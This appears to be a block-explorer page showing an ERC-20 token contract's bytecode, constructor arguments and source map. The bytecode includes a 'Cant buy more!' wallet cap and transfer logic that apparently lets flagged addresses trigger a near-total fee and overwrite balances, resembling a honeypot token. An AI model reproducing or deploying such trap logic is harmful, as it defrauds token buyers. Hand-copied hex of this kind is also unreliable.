01b03821615155b6108495760405162461bcd60e51b815260206004820152600960248201526804164726573733a20360bc1b604482015260640161079e565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600c546001600160a01b03831660009081526003602052604090205460ff16610957576108ee60646108e86019600b54610b9890919063ffffffff16565b90610ba4565b8261090e856001600160a01b031660009081526001602052604090205490565b6109189190610d67565b11156109575760405162461bcd60e51b815260206004820152600e60248201526d43616e7420627579206d6f72652160901b604482015260640161079e565b6001600160a01b03841660009081526004602052604090205460019060ff168061099957506001600160a01b03841660009081526004602052604090205460ff165b806109b15750600e546001600160a01b038681169116145b156109ba575060005b6001600160a01b0385166000908152600160205260409020546109dd9084610bb0565b6001600160a01b0386166000908152600160205260409020558015610a54576000610a0784610bbc565b9050610a35610a168583610bb0565b6001600160a01b03871660009081526001602052604090205490610b85565b6001600160a01b03861660009081526001602052604090205550610b05565b6001600160a01b03851660009081526004602052604090205460ff168015610a9457506001600160a01b03841660009081526005602052604090205460ff165b15610ac857600e805460ff60a81b1916600160a81b1790556001600160a01b03851660009081526001602052604090208290555b6001600160a01b038416600090815260016020526040902054610aeb9084610b85565b6001600160a01b0385166000908152600160205260409020555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610b4a91815260200190565b60405180910390a35050505050565b60008184841115610b7d5760405162461bcd60e51b815260040161079e9190610bf9565b505050900390565b6000610b918284610d67565b9392505050565b6000610b918284610d7a565b6000610b918284610d99565b6000610b918284610dbb565b600d546000908190610bd9906064906108e890869060ff16610b98565b600e54909150600160a81b900460ff161561059d57610b91836001610b98565b600060208083528351808285015260005b81811015610c2657858101830151858201604001528201610c0a565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c5e57600080fd5b919050565b60008060408385031215610c7657600080fd5b610c7f83610c47565b946020939093013593505050565b600060208284031215610c9f57600080fd5b610b9182610c47565b600080600060608486031215610cbd57600080fd5b610cc684610c47565b9250610cd460208501610c47565b9150604084013590509250925092565b60008060408385031215610cf757600080fd5b610d0083610c47565b9150610d0e60208401610c47565b90509250929050565b600181811c90821680610d2b57607f821691505b602082108103610d4b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561059d5761059d610d51565b6000816000190483118215151615610d9457610d94610d51565b500290565b600082610db657634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561059d5761059d610d5156fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220969cfaad98c59b8b33541afe2d649bd020be3cf423993071aea697962c17fc5864736f6c63430008100033000000000000000000000000000000000000000c9f2c9cd04674edea3fffffff

Deployed Bytecode

0x60806040526004361061016a5760003560e01c806370a08231116100d1578063aaacef721161008a578063d28d885211610064578063d28d885214610458578063dd62ed3e1461046d578063e11b6f58146104b3578063fa2f7a8f146104e357600080fd5b8063aaacef721461040c578063af465a271461042d578063b09f12661461044357600080fd5b806370a0823114610343578063837d7e3e146103795780638da5cb5b1461039957806395d89b41146103b7578063a457c2d7146103cc578063a9059cbb146103ec57600080fd5b806323b872dd1161012357806323b872dd14610280578063313ce567146102a057806339509351146102c257806347633bcf146102e257806349bd5a5e146103025780634a74bb021461032257600080fd5b806306fdde0314610176578063095ea7b3146101a15780631694505e146101d157806318160ddd14610210578063210687ce1461022f578063220f66961461025f57600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018b6104fa565b6040516101989190610bf9565b60405180910390f35b3480156101ad57600080fd5b506101c16101bc366004610c63565b61058c565b6040519015158152602001610198565b3480156101dd57600080fd5b50600d546101f890630100000090046001600160a01b031681565b6040516001600160a01b039091168152602001610198565b34801561021c57600080fd5b50600b545b604051908152602001610198565b34801561023b57600080fd5b506101c161024a366004610c8d565b60036020526000908152604090205460ff1681565b34801561026b57600080fd5b50600e546101c190600160a01b900460ff1681565b34801561028c57600080fd5b506101c161029b366004610ca8565b6105a3565b3480156102ac57600080fd5b50600a5460405160ff9091168152602001610198565b3480156102ce57600080fd5b506101c16102dd366004610c63565b61060c565b3480156102ee57600080fd5b506007546101f8906001600160a01b031681565b34801561030e57600080fd5b50600e546101f8906001600160a01b031681565b34801561032e57600080fd5b50600e546101c190600160b01b900460ff1681565b34801561034f57600080fd5b5061022161035e366004610c8d565b6001600160a01b031660009081526001602052604090205490565b34801561038557600080fd5b506006546101f8906001600160a01b031681565b3480156103a557600080fd5b506000546001600160a01b03166101f8565b3480156103c357600080fd5b5061018b610642565b3480156103d857600080fd5b506101c16103e7366004610c63565b610651565b3480156103f857600080fd5b506101c1610407366004610c63565b6106a0565b34801561041857600080fd5b50600e546101c190600160a81b900460ff1681565b34801561043957600080fd5b50610221600b5481565b34801561044f57600080fd5b5061018b6106ad565b34801561046457600080fd5b5061018b61073b565b34801561047957600080fd5b50610221610488366004610ce4565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156104bf57600080fd5b506101c16104ce366004610c8d565b60046020526000908152604090205460ff1681565b3480156104ef57600080fd5b506104f8610748565b005b60606008805461050990610d17565b80601f016020809104026020016040519081016040528092919081815260200182805461053590610d17565b80156105825780601f1061055757610100808354040283529160200191610582565b820191906000526020600020905b81548152906001019060200180831161056557829003601f168201915b5050505050905090565b60006105993384846107f1565b5060015b92915050565b60006105b08484846108aa565b61060284336105fd85604051806060016040528060288152602001610dcf602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610b59565b6107f1565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916105999185906105fd9086610b85565b60606009805461050990610d17565b600061059933846105fd85604051806060016040528060258152602001610df7602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610b59565b60006105993384846108aa565b600980546106ba90610d17565b80601f01602080910402602001604051908101604052809291908181526020018280546106e690610d17565b80156107335780601f1061070857610100808354040283529160200191610733565b820191906000526020600020905b81548152906001019060200180831161071657829003601f168201915b505050505081565b600880546106ba90610d17565b6000546001600160a01b031633146107a75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6001600160a01b0383161580159061081157506001600160a01b03821615155b6108495760405162461bcd60e51b815260206004820152600960248201526804164726573733a20360bc1b604482015260640161079e565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600c546001600160a01b03831660009081526003602052604090205460ff16610957576108ee60646108e86019600b54610b9890919063ffffffff16565b90610ba4565b8261090e856001600160a01b031660009081526001602052604090205490565b6109189190610d67565b11156109575760405162461bcd60e51b815260206004820152600e60248201526d43616e7420627579206d6f72652160901b604482015260640161079e565b6001600160a01b03841660009081526004602052604090205460019060ff168061099957506001600160a01b03841660009081526004602052604090205460ff165b806109b15750600e546001600160a01b038681169116145b156109ba575060005b6001600160a01b0385166000908152600160205260409020546109dd9084610bb0565b6001600160a01b0386166000908152600160205260409020558015610a54576000610a0784610bbc565b9050610a35610a168583610bb0565b6001600160a01b03871660009081526001602052604090205490610b85565b6001600160a01b03861660009081526001602052604090205550610b05565b6001600160a01b03851660009081526004602052604090205460ff168015610a9457506001600160a01b03841660009081526005602052604090205460ff165b15610ac857600e805460ff60a81b1916600160a81b1790556001600160a01b03851660009081526001602052604090208290555b6001600160a01b038416600090815260016020526040902054610aeb9084610b85565b6001600160a01b0385166000908152600160205260409020555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610b4a91815260200190565b60405180910390a35050505050565b60008184841115610b7d5760405162461bcd60e51b815260040161079e9190610bf9565b505050900390565b6000610b918284610d67565b9392505050565b6000610b918284610d7a565b6000610b918284610d99565b6000610b918284610dbb565b600d546000908190610bd9906064906108e890869060ff16610b98565b600e54909150600160a81b900460ff161561059d57610b91836001610b98565b600060208083528351808285015260005b81811015610c2657858101830151858201604001528201610c0a565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c5e57600080fd5b919050565b60008060408385031215610c7657600080fd5b610c7f83610c47565b946020939093013593505050565b600060208284031215610c9f57600080fd5b610b9182610c47565b600080600060608486031215610cbd57600080fd5b610cc684610c47565b9250610cd460208501610c47565b9150604084013590509250925092565b60008060408385031215610cf757600080fd5b610d0083610c47565b9150610d0e60208401610c47565b90509250929050565b600181811c90821680610d2b57607f821691505b602082108103610d4b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561059d5761059d610d51565b6000816000190483118215151615610d9457610d94610d51565b500290565b600082610db657634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561059d5761059d610d5156fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220969cfaad98c59b8b33541afe2d649bd020be3cf423993071aea697962c17fc5864736f6c63430008100033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000c9f2c9cd04674edea3fffffff

-----Decoded View---------------
Arg [0] : totals (uint256): 999999999999999999999999999999

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000000000000000000c9f2c9cd04674edea3fffffff

Deployed Bytecode Sourcemap

16479:5594:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18761:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19592:161;;;;;;;;;;-1:-1:-1;19592:161:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;19592:161:0;1004:187:1;17408:41:0;;;;;;;;;;-1:-1:-1;17408:41:0;;;;;;;-1:-1:-1;;;;;17408:41:0;;;;;;-1:-1:-1;;;;;1387:32:1;;;1369:51;;1357:2;1342:18;17408:41:0;1196:230:1;18943:95:0;;;;;;;;;;-1:-1:-1;19023:7:0;;18943:95;;;1577:25:1;;;1565:2;1550:18;18943:95:0;1431:177:1;16722:48:0;;;;;;;;;;-1:-1:-1;16722:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;17491:28;;;;;;;;;;-1:-1:-1;17491:28:0;;;;-1:-1:-1;;;17491:28:0;;;;;;19761:313;;;;;;;;;;-1:-1:-1;19761:313:0;;;;;:::i;:::-;;:::i;18852:83::-;;;;;;;;;;-1:-1:-1;18918:9:0;;18852:83;;18918:9;;;;2279:36:1;;2267:2;2252:18;18852:83:0;2137:184:1;20082:218:0;;;;;;;;;;-1:-1:-1;20082:218:0;;;;;:::i;:::-;;:::i;16990:89::-;;;;;;;;;;-1:-1:-1;16990:89:0;;;;-1:-1:-1;;;;;16990:89:0;;;17456:28;;;;;;;;;;-1:-1:-1;17456:28:0;;;;-1:-1:-1;;;;;17456:28:0;;;17570:40;;;;;;;;;;-1:-1:-1;17570:40:0;;;;-1:-1:-1;;;17570:40:0;;;;;;19141:117;;;;;;;;;;-1:-1:-1;19141:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;19234:16:0;19207:7;19234:16;;;:7;:16;;;;;;;19141:117;16889:94;;;;;;;;;;-1:-1:-1;16889:94:0;;;;-1:-1:-1;;;;;16889:94:0;;;16096:87;;;;;;;;;;-1:-1:-1;16142:7:0;16169:6;-1:-1:-1;;;;;16169:6:0;16096:87;;19046;;;;;;;;;;;;;:::i;20308:269::-;;;;;;;;;;-1:-1:-1;20308:269:0;;;;;:::i;:::-;;:::i;19266:167::-;;;;;;;;;;-1:-1:-1;19266:167:0;;;;;:::i;:::-;;:::i;17526:37::-;;;;;;;;;;-1:-1:-1;17526:37:0;;;;-1:-1:-1;;;17526:37:0;;;;;;17206:53;;;;;;;;;;;;;;;;17129:36;;;;;;;;;;;;;:::i;17088:34::-;;;;;;;;;;;;;:::i;19441:143::-;;;;;;;;;;-1:-1:-1;19441:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;19549:18:0;;;19522:7;19549:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;19441:143;16777:44;;;;;;;;;;-1:-1:-1;16777:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;16319:147;;;;;;;;;;;;;:::i;:::-;;18761:83;18798:13;18831:5;18824:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18761:83;:::o;19592:161::-;19667:4;19684:39;4519:10;19707:7;19716:6;19684:8;:39::i;:::-;-1:-1:-1;19741:4:0;19592:161;;;;;:::o;19761:313::-;19859:4;19876:36;19886:6;19894:9;19905:6;19876:9;:36::i;:::-;19923:121;19932:6;4519:10;19954:89;19992:6;19954:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;19954:19:0;;;;;;:11;:19;;;;;;;;4519:10;19954:33;;;;;;;;;;:37;:89::i;:::-;19923:8;:121::i;:::-;-1:-1:-1;20062:4:0;19761:313;;;;;:::o;20082:218::-;4519:10;20170:4;20219:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;20219:34:0;;;;;;;;;;20170:4;;20187:83;;20210:7;;20219:50;;20258:10;20219:38;:50::i;19046:87::-;19085:13;19118:7;19111:14;;;;;:::i;20308:269::-;20401:4;20418:129;4519:10;20441:7;20450:96;20489:15;20450:96;;;;;;;;;;;;;;;;;4519:10;20450:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;20450:34:0;;;;;;;;;;;;:38;:96::i;19266:167::-;19344:4;19361:42;4519:10;19385:9;19396:6;19361:9;:42::i;17129:36::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;17088:34::-;;;;;;;:::i;16319:147::-;16142:7;16169:6;-1:-1:-1;;;;;16169:6:0;4519:10;16231:23;16223:68;;;;-1:-1:-1;;;16223:68:0;;3610:2:1;16223:68:0;;;3592:21:1;;;3629:18;;;3622:30;3688:34;3668:18;;;3661:62;3740:18;;16223:68:0;;;;;;;;;16425:1:::1;16409:6:::0;;16388:40:::1;::::0;-1:-1:-1;;;;;16409:6:0;;::::1;::::0;16388:40:::1;::::0;16425:1;;16388:40:::1;16456:1;16439:19:::0;;-1:-1:-1;;;;;;16439:19:0::1;::::0;;16319:147::o;20626:254::-;-1:-1:-1;;;;;20719:19:0;;;;;;:44;;-1:-1:-1;;;;;;20742:21:0;;;;20719:44;20711:66;;;;-1:-1:-1;;;20711:66:0;;3971:2:1;20711:66:0;;;3953:21:1;4010:1;3990:18;;;3983:29;-1:-1:-1;;;4028:18:1;;;4021:39;4077:18;;20711:66:0;3769:332:1;20711:66:0;-1:-1:-1;;;;;20788:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;20840:32;;1577:25:1;;;20840:32:0;;1550:18:1;20840:32:0;;;;;;;20626:254;;;:::o;20888:815::-;20983:8;;-1:-1:-1;;;;;21007:19:0;;20966:14;21007:19;;;:15;:19;;;;;;;;21002:130;;21078:24;21098:3;21078:15;21090:2;21078:7;;:11;;:15;;;;:::i;:::-;:19;;:24::i;:::-;21067:6;21051:13;21061:2;-1:-1:-1;;;;;19234:16:0;19207:7;19234:16;;;:7;:16;;;;;;;19141:117;21051:13;:22;;;;:::i;:::-;21050:52;;21042:78;;;;-1:-1:-1;;;21042:78:0;;4570:2:1;21042:78:0;;;4552:21:1;4609:2;4589:18;;;4582:30;-1:-1:-1;;;4628:18:1;;;4621:44;4682:18;;21042:78:0;4368:338:1;21042:78:0;-1:-1:-1;;;;;21183:17:0;;21152:10;21183:17;;;:11;:17;;;;;;21165:4;;21183:17;;;:36;;-1:-1:-1;;;;;;21204:15:0;;;;;;:11;:15;;;;;;;;21183:36;:59;;;-1:-1:-1;21229:13:0;;-1:-1:-1;;;;;21223:19:0;;;21229:13;;21223:19;21183:59;21180:81;;;-1:-1:-1;21253:5:0;21180:81;-1:-1:-1;;;;;21289:13:0;;;;;;:7;:13;;;;;;:25;;21307:6;21289:17;:25::i;:::-;-1:-1:-1;;;;;21273:13:0;;;;;;:7;:13;;;;;:41;21325:327;;;;21349:17;21369:21;21383:6;21369:13;:21::i;:::-;21349:41;-1:-1:-1;21419:38:0;21435:21;:6;21349:41;21435:10;:21::i;:::-;-1:-1:-1;;;;;21419:11:0;;;;;;:7;:11;;;;;;;:15;:38::i;:::-;-1:-1:-1;;;;;21405:11:0;;;;;;:7;:11;;;;;:52;-1:-1:-1;21325:327:0;;;-1:-1:-1;;;;;21501:17:0;;;;;;:11;:17;;;;;;;;:39;;;;-1:-1:-1;;;;;;21522:18:0;;;;;;:14;:18;;;;;;;;21501:39;21498:90;;;21543:17;:22;;-1:-1:-1;;;;21543:22:0;-1:-1:-1;;;21543:22:0;;;-1:-1:-1;;;;;21566:13:0;;21543:22;21566:13;;;21561:4;21566:13;;;;;:20;;;21498:90;-1:-1:-1;;;;;21617:11:0;;;;;;:7;:11;;;;;;:23;;21633:6;21617:15;:23::i;:::-;-1:-1:-1;;;;;21603:11:0;;;;;;:7;:11;;;;;:37;21325:327;21684:2;-1:-1:-1;;;;;21669:26:0;21678:4;-1:-1:-1;;;;;21669:26:0;;21688:6;21669:26;;;;1577:25:1;;1565:2;1550:18;;1431:177;21669:26:0;;;;;;;;20955:748;;20888:815;;;:::o;3970:206::-;4056:7;4117:12;4109:6;;;;4101:29;;;;-1:-1:-1;;;4101:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;4152:5:0;;;3970:206::o;3542:98::-;3600:7;3627:5;3631:1;3627;:5;:::i;:::-;3620:12;3542:98;-1:-1:-1;;;3542:98:0:o;3754:::-;3812:7;3839:5;3843:1;3839;:5;:::i;3864:98::-;3922:7;3949:5;3953:1;3949;:5;:::i;3648:98::-;3706:7;3733:5;3737:1;3733;:5;:::i;21837:231::-;21951:5;;21897:7;;;;21940:26;;21962:3;;21940:17;;:6;;21951:5;;21940:10;:17::i;:26::-;21980:17;;21916:50;;-1:-1:-1;;;;21980:17:0;;;;21977:53;;;22015:13;:6;22026:1;22015:10;:13::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1613:186::-;1672:6;1725:2;1713:9;1704:7;1700:23;1696:32;1693:52;;;1741:1;1738;1731:12;1693:52;1764:29;1783:9;1764:29;:::i;1804:328::-;1881:6;1889;1897;1950:2;1938:9;1929:7;1925:23;1921:32;1918:52;;;1966:1;1963;1956:12;1918:52;1989:29;2008:9;1989:29;:::i;:::-;1979:39;;2037:38;2071:2;2060:9;2056:18;2037:38;:::i;:::-;2027:48;;2122:2;2111:9;2107:18;2094:32;2084:42;;1804:328;;;;;:::o;2758:260::-;2826:6;2834;2887:2;2875:9;2866:7;2862:23;2858:32;2855:52;;;2903:1;2900;2893:12;2855:52;2926:29;2945:9;2926:29;:::i;:::-;2916:39;;2974:38;3008:2;2997:9;2993:18;2974:38;:::i;:::-;2964:48;;2758:260;;;;;:::o;3023:380::-;3102:1;3098:12;;;;3145;;;3166:61;;3220:4;3212:6;3208:17;3198:27;;3166:61;3273:2;3265:6;3262:14;3242:18;3239:38;3236:161;;3319:10;3314:3;3310:20;3307:1;3300:31;3354:4;3351:1;3344:15;3382:4;3379:1;3372:15;3236:161;;3023:380;;;:::o;4106:127::-;4167:10;4162:3;4158:20;4155:1;4148:31;4198:4;4195:1;4188:15;4222:4;4219:1;4212:15;4238:125;4303:9;;;4324:10;;;4321:36;;;4337:18;;:::i;4711:168::-;4751:7;4817:1;4813;4809:6;4805:14;4802:1;4799:21;4794:1;4787:9;4780:17;4776:45;4773:71;;;4824:18;;:::i;:::-;-1:-1:-1;4864:9:1;;4711:168::o;4884:217::-;4924:1;4950;4940:132;;4994:10;4989:3;4985:20;4982:1;4975:31;5029:4;5026:1;5019:15;5057:4;5054:1;5047:15;4940:132;-1:-1:-1;5086:9:1;;4884:217::o;5106:128::-;5173:9;;;5194:11;;;5191:37;;;5208:18;;:::i

Swarm Source

ipfs://969cfaad98c59b8b33541afe2d649bd020be3cf423993071aea697962c17fc58

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.

Tools & Services